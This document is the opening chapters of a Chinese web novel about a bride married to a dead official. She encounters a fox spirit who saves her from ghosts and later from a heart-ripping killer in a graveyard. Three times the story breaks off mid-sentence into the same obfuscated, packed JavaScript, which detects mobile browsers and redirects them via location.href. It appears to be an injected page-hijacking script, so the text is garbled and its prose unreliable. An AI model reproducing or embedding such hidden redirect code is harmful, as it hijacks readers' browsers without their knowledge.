《短命夫君他阴魂不散[先婚后爱]》 1. 嫁了个鬼 若能回到两个时辰前,我绝对不会把那个牌位丢下床了! 缩在被子里瑟瑟发抖的元和景绝望地想。 “祝长生……夫君,我明日给你多烧些纸,你……你快安息吧……” 像是听懂了她的话,屋外的女人哭声越发凄厉,哀怨的“呜呜”声一浪高过一浪,来自四面八方的孩童正扯着嗓子索命似地喊着“娘亲”,掺杂着扑棱棱拍打翅膀的声响,来自地狱的侍者们悄然而至。 “哇,哇、哇……” 元和景死死咬住牙关才勉强忍住大叫的冲动,内心里已经把祝长生这个短命鬼骂了一千遍。几乎是凭借着求生的本能,她伸手摸到枕头下面,把早上江印月塞来的符箓一把捏住,心里才总算有了丝踏实感。 “果然结阴婚是要遭报应的。”元和景抖着嘴唇埋怨道,“可这娃娃亲又不是我决定的,你干嘛来找我啊?” 心里越想越生气,她忍不住压着声音破口大骂:“死祝长……啊!” 门窗发出“哐镗”一声巨响,未毕的话被吓成尖叫。不知何时起了风,呼嚎着要把一切都撕碎开,木门发出不堪重负的断裂声,元和景最后一道心理防线也被击碎了,连忙双手将符箓高举过头顶,紧闭着眼喃喃道: “真武大帝保佑,玉灵官保佑……请召众神邪魔退散请召众神邪魔退散。” 元和景一刻不停地念着学来的口诀,可耳边的鬼哭狼嚎非但势头不减,反而还有愈演愈烈的趋势,门被砸得哐哐直响,像是有什么东西迫不及待要进来。仿佛受到了感召,女人和小孩的呼喊哭叫越发高昂,带着迫不及待的兴奋和渴望。 “呜呜呜……呜呜呜呜呜……” “娘亲、娘亲……娘亲!” 出口的请神咒毫无回信,心底好不容易燃起的勇气也被吹得凉透,伴随着门板被“哗啦”一声碎成两半,元和景再也压不住哭腔,扯着嗓子放声大喊:“不管什么神,求你来救救我吧。” “呵。” 笑声突兀至极地传入耳,即使穿过了层层叠叠的嘶嚎鬼叫,也依然清晰无比。元和景不可置信地愣在原地,眼睁睁看着门口出现个约有两人高的黑影,双耳高竖,头形长而低,身似猫,却又比猫更纤瘦,背对着让人看不清脸,只见身后火红如焰的尾巴如藤蔓般躁动狂舞。 “与其求这些老东西,还不如求求你夫君。” 面前一片眼花缭乱,脑中更是止不住地发白,元和景根本来不及理解这句话的意思。泼墨夜色下有银光忽而闪过,黑影迅速甩出一条尾巴,如鞭子般骤然砸向虚空,方才还猖狂的呼喊声瞬间变成此起彼伏的惨叫。 不管怎么说,这个突然出现的东西一定是来帮自己的。意识到这点的元和景终于颤颤巍巍地松下口气,可还未来得及喘匀,迎面而来的急促气流差点将人掀翻,幸亏她反应极快抱住了床柱子。 狂风如蝗虫过境,所到之处无不破败。花瓶落地的脆响淹没在呼呼风声中,梳妆台和桌椅也被砸得七零八落,窗户上贴的大红喜字早已不见踪影,刺骨寒意一阵阵侵袭着单薄的里衣,即使身体已抖如筛糠,元和景也不敢轻易松开这最后一根救命柱子。 那凭空而降的庞然大物像是正在进行一场厮杀,纵使被阴风裹挟,也丝毫未受影响。尾巴飞快地出手又收回,劈似刀,抽似鞭,刺似剑,一招一式毫不留情,起落间带掀起的阵阵气流混着磅礴的风,在屋内如鬼魅般乱窜不止。 屋顶发出岌岌可危的嗡鸣,这根床柱竟是不动如山,元和景手脚并用地将其扒拉得更紧,努力将眼睛睁开一条缝,可除了挡在门口的那个巨大黑影,她什么也看不见。 单调的风声将耳朵灌得麻木,元和景感觉自己什么也听不见了,眼球也被吹得生疼落泪,于是她干脆闭上眼睛,努力将身体遮掩在柱子之后,祈求着这场混乱能早些结束。 不知过了多久,擦过皮肤的风不再凌厉冰冷,听觉也能捕捉到一些不同寻常的声音,元和景终于试探着睁开一只眼,缓慢倾身朝外看去。 已是云消雾散,明月高悬,透亮的月光洒满院落,正好映亮一身火烧似的皮毛。元和景死死盯着那个黑影,总觉得这个外形莫名眼熟,可一时半会怎么也想不起来是什么。 张牙舞爪的尾巴纷纷归于平静,带着胜仗过后的傲然,悠悠然然地小幅度摆动着。凭借还不错的视力,她很快发现每条尾巴尖上都有一抹明显的白色,轻巧地缀在大片火红之后,直叫人想起晚霞将尽时早早挂起的星子。 对方像是根本没发现元和景,或者早已察觉,只是默许了她的偷看,就这么顶着那双惊魂未定又不掩好奇的目光,缓缓缩小、变化,最后凝成一个挺拔高瘦的男子模样。 我到底遇到的是个妖还是个鬼啊? 脑子里只剩下这一个念头,元和景当机立断,用了十成十的力气将头往柱子上撞去,果然不负所望地失去意识时,她模模糊糊地想着:或许是做梦吧,醒来就好了…… “嘭”的闷响在堪堪安静下来的屋子里显得格外明显,祝长生下意识闭了闭眼,才安抚过这段突如其来的心惊肉跳。 他承认自己刚才的阵仗是有点大,不过也不至于把人吓成这样吧。 抱着“有必要关心一下自家娘子”的心理,他信步走上前,伸出食指在女子的鼻下探了探,感受到带着微暖的平稳气息时才放下心来。 “好吧。”祝长生无奈地叹了口气,蹲下身来将脚边的凳子扶起,“娘子且休息,你我改日再会。” 待最后一声尾音也消失于虚无,房间里重归寂静,像是从未有人来过一般,只有被子下的呼吸起伏规律而安稳,平整的被角还尚存余温。 “小姐。” “小姐?” “嗯……”梦里的烤鸡腿被一声声不厌其烦的呼唤打断,元和景含糊不清地应过,仍在休眠状态下的四肢却丝毫没有苏醒的迹象。 盘子里香喷喷的鸡腿突然站了起来,毫不客气对着她脑袋当头一腿。元和景下意识抬手抵挡,可是痛感迟迟没有落下,忍不住低头看时,大鸡腿已经变成了黑黢黢的木牌位,上面端正写着“大理寺祝少卿之灵位”。 这下元和景彻底被吓醒了,一个打挺坐起身来,忙不迭往床底下看去。那个被她随手丢下床的牌位还躺在原地,打过蜡的边缘隐约泛着光,青天白日下看起来倒是没有夜里那么吓人了。 元和景咕咚一声咽下口水,小心翼翼翻身下床,用脚尖轻轻碰了碰,方正的底座被推歪几寸,除此之外再无其他动静。 夜里的经历走马灯似的从眼前过,她四下环顾一圈,桌椅皆是完好,梳妆台上还摆着昨夜匆忙卸下的珠钗,门窗严丝合缝地关着,明明和睡前别无二致。 元和景自顾自嘟哝道:“难道真是做梦?” 想了想,她还是把牌位捡起来,扯着袖子在面上仔仔细细擦过后端正放在桌面上,双手合十对着拜了三下,极尽虔诚地说:“能夫妻一场便是缘分,待会我就去给你烧好多好多纸钱,你且安心地去吧。” 语毕,她又不放心地补充了句:“千万别来找我啊。” “小姐,晚些还要向夫人敬茶呢,莫要再赖床了。” “知道了,你去备热水吧。”元和景一边说着,一边走到铜镜前坐下,仔仔细细端详镜中人的面貌。 鹅蛋脸,弯月眉,乌溜溜的瞳仁里折射出浅浅微光,眼角的泪痣并不明显,却衬得皮肤越发白皙莹润,红唇略有些发干,不过并未影响天生优越而美观的唇形,若能忽略眼下挂着的两片乌青,任谁见了不夸这是个水灵灵的大家闺秀? 净过面梳妆时,元和景特意吩咐多上些脂粉,檀月捏着盒子犹豫了半天,小心翼翼道:“敬茶过后便是姑爷的葬礼,小姐还要去见宾客,守灵堂呢。” “罢了罢了。”元和景叹口气,任由自己被化成一张惨白如纸的哭丧脸。 才过门第一天,先是被噩梦吓得半宿没睡好觉,白天还要接着好一通折腾,怎么自己嫁个死人比嫁活人还麻烦? 不过总算是逃脱了父亲的掌控,日后自己再也没人管,也不必再因为偏心的老头受气。想到这些,元和景心里总算宽慰了些许。 敬茶仪式安排在大堂,少卿府向来是祝长生坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956990|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇,前大理寺卿祝行之前些年突然暴毙,祝老夫人的身体也每况愈下,没过多久便去了山林静养。不过眼下祝长生传来噩耗,也不知这位年迈体弱的老太太如何能受得住。 元和景先一步到了大堂,敬茶时也只有两人外加几个丫鬟在场,分明该是喜气洋洋的时刻,祝家却冷清得出奇。 祝老夫人一如面容般温和慈祥,简单走完过场后便拉着她起来,空旷静默大堂内,只有一遍又一遍的“你受苦了”说得声声诚恳。 葬礼还需祝老夫人主持大局,元和景便带着丫鬟下人们在门口迎客。白幡在风中肆意翻涌,正配今日阴沉沉的天空。刚等过没多久,便有轿子在府前停下,元敬瑭着一身玄色长袍,大步流星朝这边走来。 元和景没想都父亲会来得这样早,原本还琢磨着想法子避一避,现在却是无处可逃。眼见着人越来越近,她只好硬着头皮上前:“爹。” 回应她的,是毫不留情的一声“哼”。 元敬瑭是武将出身,早年间带兵打仗立下赫赫战功,即使现在已过耳顺之年,眉眼间依然带着英气,透出与生俱来的不怒自威。 元和景见惯了他这副样子,内心自然毫无波澜。分明和祝老爷定下娃娃亲的是他,现在生气的也是他,既然怎么做都无法让他满意,那自己就干脆走远些,眼不见心不烦好了。 眼睛远远捕捉到一抹素色,元和景光凭身形便能认出那是江印月,走得近了更能看清楚。来人长一张长辈爱夸有福气的圆脸,为了今日场合也只是略施粉黛,更显得五官清秀俊丽。 见到元和景,江印月神色不掩担忧:“看你这副无精打采的样子,昨晚不会真出什么事了吧,我给你的符箓管用吗?” 本着不过是梦,无足挂齿的想法,元和景摇摇头表示无大碍:“你的符箓在哪里求的?快些丢了吧。” 也不知道梦里请来了哪方妖鬼,虽说声音听着还算顺耳,但那像猫又像狗的轮廓,怎么看也看不出是个好的。 江印月一脸真诚:“我自己画的。” 对上元和景隐隐冒火的视线,江印月连忙补充:“我是向教卜筮之术的师父学的,他说这符关键时刻能保命,我练了许久才画出这么几张,绝对不会出差错。” 元和景扯了扯嘴角,也同样真诚地道:“你去把学费要回来吧,我心疼银子。” “那不行。”江印月突然想到什么,赶紧凑到元和景耳边,压低了声音,“之前说好给你算的姻缘卦,今日已经起卦了。” 元和景神色一凛,忙问:“如何?” 江印月道:“天雷无妄卦,其匪正有眚,不利有攸往……” “打住打住,说点我能听懂的。” 江印月清了清嗓子,复又道:“大凶之兆,预示前路坎坷,难得圆满,日后行事也需多加小心,否则稍有不慎就会引火烧身。” 元和景惊得眼睛都瞪大了:“怎么会这样?” 江印月看起来也是束手无策的样子:“卦象上就是这么说的,总之……你日后多加小心吧。” 目送了江印月进门,元和景一脸生无可恋。要说这祝长生也是赶巧,早不死晚不死,偏偏在约好履行娃娃亲的前几日死,若不是已将离家的寄托放在这身上,她早就给自己另谋出路了。 接连有宾客到来,说的惋惜祝福之语她都一一应下。开席的时辰将近,有轿辇姗姗来迟,元和景见到来人后,连忙端正了神情,行礼道:“齐少卿。” “祝夫人不必多礼。”雪白衣袍悄然融入这一片寥落景象中,狭长的眸中似有哀色,齐竟虚扶着她起身,随即叹息,“我与祝少卿本是同僚,如今却目睹着他红白相撞,偏偏凶手还在逍遥法外……” “齐某愧对祝夫人,愧对祝家。” “齐少卿言重了。”元和景换上一副沉重的表情,“能得齐少卿如此挂念,夫君在天之灵也能聊以慰藉。” 又客套过几轮后,齐竟迈入府邸大门。身侧的丫鬟提醒了时辰,如此也该是去给这位夫君守灵的时候。 新婚燕尔,夫妻俩的初次见面,便是以这样的方式了。 2. 奇怪狐狸 穿过前院,行尽九曲廊,暗沉沉的阴云将天地都罩在一片萧瑟中,分明是仲春时节,却叫人无端生寒。 元和景将孝服裹得稍稍紧了些,本想着进屋后能有所好转,却未料刚一只脚踏进门,一股阴森之气便直冲天灵感。 堂内陈设简单,正中央放了口大棺材,牌位是和棺木如出一辙的黑,漫漫天光也只波及到供桌桌角,白烛的微弱残光也将要被吞没在深不见底的混沌中。 丫鬟已经识趣地退下,四下无人的环境让人止不住想起昨夜那个光怪陆离的梦。元和景打了个哆嗦,忙快步走进去跪下,把一摞摞纸钱往火盆里丢。 “祝……咳,夫君啊,虽然你我许久未谋面,我也不知你如今样貌如何、性情如何,有无心仪之人……” 虽然这都是事实,但直截了当说出来后元和景才发现,这桩婚事还真是有够荒谬的。毕竟她如今对祝长生的印象,还停留在当年那个面容俊朗却体弱多病的小公子身上。 犹记得当时正值腊月,新年伊始,元和景在院子里堆雪人,远远瞧见廊上出现个披着大裘、身形修长挺拔如松,却难掩单薄的少年,正往父亲的书房走。丫鬟说他是大理寺卿的独子,受老爷所邀,今日随父来府上一同过腊八节的。 还有其余的什么细节,她也记不清了。之后年岁渐长各有忙碌,元和景又是个玩心大的,于公于私都难与大理寺少卿这样的人物产生交集。 除了十一岁那年从天而降的这门亲事。 思绪回笼,当年再如何,如今也只能道一句物是人非。欢快燃烧的纸钱将火苗堆起老高,总算给屋子里添上点温度。元和景默了片刻,才又开口: “俗话说一日夫妻百日恩,如今我们已有半日夫妻之名,那也算是有五十日的恩了。看在这份上,你就莫要再编些昨夜那样的梦吓我了。这些钱你都拿着,黄泉路还是要一个人走嘛,两个人多挤啊……” 絮絮叨叨地说了会,元和景又想起自己将要独守空闺、郁郁而终的未来来,心头不禁涌上些许惆怅。丢下最后一摞纸钱,她又道:“若是你在天有灵,就保佑我日后能寻得良人不愁吃穿吧,你放心,即便是和离后我也会年年给你烧纸钱的。” 一阵阴风忽而平地起,吹得烛火忽明忽灭地闪,元和景心头微震,忙问:“你……你真能听到?” 风声散去,棺椁安然立于原地,牌位边角依旧尖锐而冷硬,毫无变化发生。 元和景却突然激动起来,跪在蒲团上连磕了三个头:“如此我便当你答应了,多谢多谢,好人有好报……” 思绪流转间,元和景想到江印月送自己的那个签筒。既然这个鬼夫君真能听懂人话,何不接他问问自己的好姻缘在何处,这可比江印月那三脚猫的算卦功夫靠谱多了。 说干便干,元和景忙不迭吩咐檀月,去把房间里的木制签筒取来。虽说灵验程度比不上外面那些大仙,但不怎么费力就能得到烦心事的答案,前路是福是祸一测便知,何乐而不为呢? 手上捧好了东西,元和景先对着牌位认真地拜了拜,思忖过后,她道:“去年年底向我示爱的侍郎公子,出手阔绰人也爽快,不过就是样貌欠佳,夫君你觉得他如何?” 语毕,她便手腕用力,按照平时的样子往下晃着签筒,木签在里面劈里啪啦响作一团,不过多时,其中一根飞弹出来,砸在地面上的声音清脆可闻。 元和景忙不迭捡起来看,上书着“癸酉邓伯元弃家”。 解签的诗文就写在江印月给的小册子上,开篇便是一号签的签文,元和景捏着书页哗啦啦往后翻,目光定位到最后一页上方的内容,顿时心觉不妙。 而此签对应的诗文正是:门衰户冷苦伶仃,可叹祈求不一灵;幸有祖宗阴骘在,香烟未断续螟蛉。 当真是极凶极恶的下下签,意为家运衰败求告无门,唯一的生机还是靠祖上积来的阴德,才能让生活勉强延续。元和景过去一年多从未抽到过,却没想到今日给她来了个开门黑。 “看来我与侍郎公子注定是一段孽缘了,无妨无妨,这恰好能证明当初我的拒绝是完全正确的。” 其实是江印月天天在耳边吐槽“侍郎公子的脸像是被马车压过”,她才决意和他断了联系,没想到竟是因祸得福了。 安抚好心情,元和景重振旗鼓,拜过后又诚诚恳恳地道:“幼时学堂里坐我后面的赵绍庭赵公子,半月前回京约我叙旧。” “江印月说他对我有意,赵公子也的确是一表人才气度不凡,但就是沉闷死板了些,让人好生无趣。” 元和景做好了准备,可还没摇几下便有签子掉了出来,正面刚好朝上,让人一下子看清“丁壬张子房遁迹”几字。 这根签也是极少抽到,不过单从序号来看的话,四十九签或许是下吉之意。她赶紧将册子往回翻,接着一字一句读过:“彼此居家只一山,如何似隔鬼门关;日月如梭人易老,许多劳碌不如闲。” 话音刚落,她便将册子连带着签一起扔出老远。 “呸呸呸,莫让这等晦气东西近了我的身。” 接连中了两根下下签,看来这赵绍庭也并非是良人,下次得提醒江印月,别再说那些莫须有的东西了。 百无聊赖地晃了晃签筒,差点将火盆里的余焰扇灭。元和景已然拿不定主意,不知还该不该再摇下去。 虽说这有警醒提防之效,但若是她问遍身边所有合适的男子,皆为不祥之兆的话,那岂不是真要孤独终老了? 电光火石间,元和景脑子里蹦出个伏案执笔时,侧脸在烛火下极尽俊美温柔的人。 纳兰公子,纳兰卿。 论样貌、论才情,论志向,纳兰公子无一不是上上乘,可坏就坏在他出身贫寒,年幼时便成了孤儿,后被南风馆收养,成了这烟柳之地的一名清倌。 “即便如此,可他一直洁身自好,从未以色侍人。而且纳兰公子心系科举,终日发奋苦读,以后定能成就一番事业。” 元和景说着,又瞬间没了底气,怏怏道:“只是我爹可能真会打断我的腿。” 可万一纳兰公子真是自己的良配,只要情投意合你情我愿,即便被打断腿又如何? 像是下定了决心,元和景的目光变得坚定起来,握住签筒的十指不自觉用了些力,签子的碰撞声都略微带上几分沉闷。 这次比上次还要快,第一下摇到半途,清脆响亮的落地声已然响起,木签在地上弹跳好几下,正巧落在漆黑发亮的棺材旁。 “奇怪,怎么掉那么远。” 说着,元和景从蒲团上起身,毫无防备地朝那边走了过去。 俯身时正好看清签号,仅凭此,元和景明白,已经无需再翻阅签诗了。 “癸癸宋公三败于齐”。 排在末位的签,能有什么好兆头? 余光瞥见棺椁后忽然跳出个红彤彤的事物,眼睛还未来得及看清,那东西便如离弦之箭般猛地朝她扑过来,带着一往无前的气势,硬生生把正保持俯身姿势的元和景撞了个人仰马翻。 屁股着地摔得不可谓不结实,她当即发出一声痛苦的哀嚎,可偏偏罪魁祸首还毫无悔过之心,一溜烟往门口窜得飞快。 “这小畜生……” 身体虽痛,可心里的委屈愤懑一时更占上风。元和景当机立断起身,而后一瘸一拐地追了出去。 那东西虽然速度极快,但鲜艳的皮毛实在惹眼,元和景眼尖地捕捉到矮树丛后的一抹红,顺手抄起地上的石头便往过砸。 凭着幼年弹弓打鸟比赛第一名的本事,掌心大小的石头精准无误砸中它的后腿。伴着一声短促而尖细的惨叫,“凶手”摔倒在了绿草地之中。 元和景气势汹汹地上前讨公道,走近了才发现那是只漂亮的小狐狸,目测年纪不大,毛色均匀,是一种健康且明媚的红。黑葡萄般的眼睛可怜巴巴地盯着她,细看似有泪花闪烁,耳朵也缩进皮毛里,虚弱无力的哼唧更是一声比一声凄惨。 “你、你这副样子,倒显得是我的不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956991|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 屁股还火辣辣地泛着疼,元和景被盯得心里直发毛,再开口时气焰已灭了大半:“谁让你先撞我的。” 对视不过三秒,她便败下阵来,嘴里嘟哝着“好吧我错了”,同时走上前,想把狐狸带去看大夫。可就在指尖即将碰到那颗小巧的头颅时,对方却突然竖起耳朵,眼中的柔弱瞬间被警惕所取代。 下一瞬,倒在原地的狐狸已窜出三四米远,拖着伤腿左拐右拐着消失在了拐角处。 “诶别走啊!” 元和景连忙吆喝了一声,见它毫无回头的意思于是提起裙摆立马跟上去:“我不是故意的,我带你去看大夫啊喂……” 毕竟是初来乍到,没出多远,元和景便被这九曲八折的花园小路绕得头昏脑胀,可那狐狸倒是像在自己家里似的,变向转弯皆是轻车熟路,显然已经来过这少卿府许多次了。 任凭她马不停蹄地追赶,也始终慢那狐狸好几步,若不是靠着层层绿浪中那点突兀至极的红,恐怕早就要跟丢了。等再次赶到狐狸消失的地方时,元和景才惊觉这里是少卿府的后门。 守灵尚未结束,但府中的宾客离散场也还有些时辰,总之快去快回便是。这么想着,元和景二话不说迈过了门槛,汇入巷子里稀稀拉拉的人流中。 即便是进了喧嚷的主街上,那狐狸也丝毫没有慢下来的意思,好几次和马蹄擦身而过吓得人差点魂飞魄散。元和景匆匆忙忙说了“对不住”,脚下的步子是一刻也未见停。 一路命运多舛地穿过街道,那小狐狸又循着山路四腿并用地狂奔起来,后腿明显还跛着,但即便如此速度依然算不得慢,好像发生了什么了不得的大事,晚去一步后果将不堪设想。 元和景连骂骂咧咧的力气都快没有了,终于见它有慢下来的趋势时心中大喜,可紧接着,那个火红的身子便灵巧地跃进绿丛之中,彻底没了踪影。 “这……”元和景踌躇着走近,却做不下进入这片林子的决心。 原因无他,这里便是最近“狐妖掏心”传闻闹得沸沸扬扬的地方——周家坟。 周家坟原先不过一块枯林中的普通墓地,虽说大家过路时都尽量避得越远越好,但远比现在方圆半里内无人敢接近来得强。自从一月前有人亲眼目睹林子里有狐妖生掏人心、京城里也陆陆续续传出有人失踪后,这里便再无人敢踏足了。 进还是不进? 呼吸恢复正常节奏后,脑子也能迟钝地开始思考。电光火石间,元和景想起那狐狸尾巴上有小小的一簇白毛。 不偏不倚缀在尾巴尖上,和昨夜梦里那个来历不明的东西一模一样。 莫非……那不是梦? 如此巧合能在身上先后发生,必然是有人故意为之。来不及再多想,元和景不顾形象地大跨步迈过树丛,衬裙无意间被枝丫挂住,拽下时发出小而清晰的“嘶拉”一声,想必之后也是不能再要了。 行至林中,抬头便是无边无尽的秃枝残叶,掩不住的天光肆意从间隙洒落,可因为今日天色本就阴沉的缘故,只笼下灰蒙蒙的一片暗色,无端添上几分阴森恐怖的气息。 越是往前走,元和景心里的退堂鼓就敲得越响亮。再过不远便要走到林子中央的墓地,可她一路上连根狐狸毛都没再见着。 要是没见到狐狸,反而撞上掏心的狐妖,京城百姓们茶余饭后的谈资便又要多上一条了—— 元家三小姐新婚第一天惨遭毒手,阴阳两隔的苦命鸳鸯黄泉下得以团聚。 什么狐狸也没有小命重要啊!这样的想法刚冒出来,元和景拔腿就要跑,目光却好巧不巧定格到前方的不远处。 那便是周家坟的所在,也是这片林子的中心。 高低不一的土包堆得乱七八糟,有的前面立了石碑,尘土将刻字彻底覆盖;有的则是以一块高高窄窄的木板简单充当,在经历了不知多少风吹雨打后,边角已被腐蚀得不成样子。 可这些,都远不及站立在土堆间的那个身影来得让人吃惊。 3. 林中红影 夜行衣将那人从头到脚包了个严实,黑面罩下只露出一双眼睛,仅凭这点聊胜于无的信息,元和景丝毫想不出会有谁在这种时候敢来周家坟。 不过光凭打扮来看,也知道此人绝非善类。 四周皆是赤条条的枯树,仅有的矮树野草也只堪堪没过小腿,自己身上这件惨白的寿衣简直就是行走的活靶子,被发现的风险极大。与其铤而走险,倒不如等他离开后再走。 理智及时劝回欲迈开的脚,元和景强压下狂躁不止的心跳,将身子悄无声息隐在一棵碗口粗的树干后,几个深呼吸勉强让人找回一点勇气,她闭上眼睛,喃喃道:“菩萨保佑,天神保佑……” 睁开的刹那,一副骇人的景象竟直直落入眼帘—— 那人像拎鸡仔似的掐着正另一人的脖颈将其提起,对方身形并不瘦弱,从手臂肌肉看应是十分壮实的类型,田里拉牛犁地都不在话下,可现在却被抽干力气似的反抗不得。 挣扎的幅度渐渐小了,手掌再也握不住,最终无力地滑落在了身侧。元和景拼命咬紧牙关才压住尖叫的冲动,下一刻,她亲眼目睹着那人单手穿破胸膛,随后掏出一颗血淋淋红彤彤的事物来。 呕吐感瞬间从胃部冲向天灵盖,元和景控制不住地捂着肚子干呕起来,幸好早上匆忙未来得及吃太多东西,但不小的动静还是引起了那人注意。锐利的视线直直投落到这边时,求生欲已驱使她迈开了腿。 快跑! 脑子里只有这一个念头,方向声音再也无暇顾及,元和景只想赶紧离开这个是非之地,否则下一个被掏心的……就是自己! 错综林立的树木成了眼下最大的障碍,元和景凭着本能反应左右闪避,拿出平生最快的速度撒丫子狂奔。可对方显然有武功傍身,不过几个穿梭,窸窸簌簌的草叶声已经是咫尺之遥。 不想死,我还不想死啊…… 情况如此紧急,她连求神拜佛也顾不上了,什么真君上神的名号早就被抛到九霄云外,现在她只希望自己能长出一双飞毛腿来,好把那恶鬼催命似的声音甩得远远的。 飞毛腿没长出来,倒是凭空出现一只手,趁着闪身后的片刻遮挡,搂住元和景的腰肢轻轻一带。刹那的眼花缭乱后,她已经安然无恙地坐在一根手臂粗的枝干上了。 眨眨眼、再眨眨眼,元和景终于确定不是在做梦,原来真有神仙来救了她的命! 胸腔的窒息感叫她近乎贪婪地大口呼吸起来,目光轻飘飘地落在前方,正好让她看见那黑衣人追着个白色身影越行越远。 腰侧的手掌还在传递着热意,给混沌的脑袋里敲了记重锤,元和景总算想起来抬头去看看救命恩人的模样—— 墨发玉冠,红衣加身,看上去像是新郎官的打扮。年纪大概在二十出头,眼尾微微上挑,颇有几分狐狸的妩媚慵懒,可即便如此,整张脸却给人媚而不妖的感觉,因为他皮肤极白,瞳孔也是不同于常人的琥珀色,高挺鼻梁下的唇红得很是浅淡,反倒透出些许温润来。 不知是不是错觉,她总觉得这人有点眼熟。 “你是……月老?” 琢磨半天的元和景犹豫着抛出这个结论。 志怪杂谈里,对其他神仙的描述都是“高大魁梧,一脸凶恶,打起架来如直立行走的狗熊”,但在讲述月老的故事时,便是“人面桃花,气度不凡;站似山上松,步步皆生风”。 说的和眼前这位男子没有十分也有八分像了。 或许是她的神色太过认真,男子没忍住勾了勾唇,嗓音清亮如珠玉碰撞,语调里又带了些漫不经心的拖沓:“我可不是那等虚无缥缈之人。” 元和景还要再问,却猛然想起方才目睹的血案,那阵妖冶刺目的红像毒蛇般缠住了心脏,让她顿时紧张起来,胃里忍不住又是一阵痉挛。 “救命之恩没齿难忘,不过你还是先离开这里吧,此处凶险异常,稍不留神就要没命的!” 越说下去,声音里的颤意就越明显,掏心的瞬间在脑海里无数次闪过,那只血淋淋的手好像下一瞬就要朝自己伸来。元和景再也藏不住心头的恐惧,尖叫即将破口而出时,太阳穴处突然传来一阵清凉感,如山间泉水般,缓缓流淌过躁动不安的血液。 “别害怕,你不会有事。” 平和有力的话语钻进耳朵,心跳奇迹般地安定下来,仿佛有什么东西轰然落地,身体久违地感到轻松。元和景卸了力靠在身侧的枝干上,有气无力地道了句“多谢”。 像是担心她掉下去似的,男子将放在腰间那只手搂得更紧了些,稍稍缓和过来后,元和景道:“我们……是不是要去报官啊?” “嗯?”男子像是一下子没反应过来,迟钝片刻后才摆出个支着下巴思考的模样,“嗯,是该报官。” 虽是无意撞见,但毕竟人命关天,元和景没想到也没那个本事救下受害人,唯一能做的就是帮他报官,将真凶绳之以法。况且此事必然和官府正在大力调查的掏心案有关,早点查出真相,自己日后出门也能少些顾虑。 定下主意,她往下看了眼,这根树干离地面约有十几尺,就这么跳下去八成得摔个半残。元和景于是又看回男子:“一起?” 男子拧起眉头,抬腿撩起衣袍下摆,有血迹正从小腿上雪白的布料里渗出来:“我被有心人加害受了伤,恐怕无法与你同行了。” 伤口并不大,不过大片晕染开的血迹还是唬住了元和景,她并未察觉对方语气里掺杂的幽怨之意,当即忿忿不平道:“竟有如此贼人,真是作恶多端丧尽天良,就该把他抓进大牢里挨鞭子!” 男子压了压嘴角,最后还是没忍住笑出来,爽朗的笑声惊飞了几只藏匿在枝桠间的小麻雀。元和景一头雾水,正要发问时,男子才稍稍收敛些,说道:“无妨,你去报官,我在这里等你回来。” 语毕,腰间桎梏猛地收紧,眼前又是一花,脚下的实感在瞬息后传来,反应不及的腿直发软,还好她及时扶住男子的手臂才没摔下去。 刚往前走两步,元和景突然想到了什么,下意识回头看去,男子还站在原地,单手负于身后。目光接触的刹那,他轻轻颔首,眼底似有微光流转:“去吧,我等你。” 声音不大,却十分坚定有力,一下子抚平了心头最后那点不确定。元和景也跟着点头:“放心,我会快去快回的!” 说完她便不再犹豫,牵起裙摆大步流星地朝出口而去。为提防黑衣人杀个回马枪,元和景边跑边四下张望着,所幸一路上都没再遇到什么不测,很快她便畅通无阻地到了街上。 杂乱的吵闹声虽聒噪,但却让人感到无比安心。牛车叮叮当当地从身侧穿过,坐在背上的小童嘴里还叼着草叶,接连路过了好几个小饭馆,里面皆是客座爆满,想必此时也快到寻常人家用午膳的时辰了。 元和景还记得要赶回少卿府守灵的事,所以现下一刻也不敢停。刚到县衙门口她便被人粗鲁地拦下,见到是元将军之女后对方又变得恭敬,嘴里一口一个“元小姐”叫得勤快极了。 来不及跟他们折腾,元和景言简意赅地说明来意,守卫听后却是支支吾吾起来:“这周家坟的案子……县爷确实在查,不过取证早已结束,此案已确为狐妖所为,元小姐还是别再为此费心了。” “胡说!”元和景立马高声反驳,“且不论这狐妖从未有人见过……本小姐今日已亲眼目睹那人徒手将另一人的心脏掏了出来,不信的话你便随我前去,尸体现在还倒在周家坟里。” “嘘……元小姐小声点!” 守卫吓得差点去捂她的嘴,手伸到半空又忙不迭撤了回来:“此案早已闹得人心惶惶,元小姐这话要是让有心人听了去,那群刁民迟早要反天……” “那便查明内情,将幕后真凶捉拿归案啊。”元和景依言放低了音量,气势却是丝毫不弱,“无论是狐妖所为,还是有人从中作梗,眼下周家坟又出了命案,县衙难道要坐视不理吗?” “唉,小的不是这个意思……” “那便派人跟我走!” 一行五人马不停蹄去了周家坟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 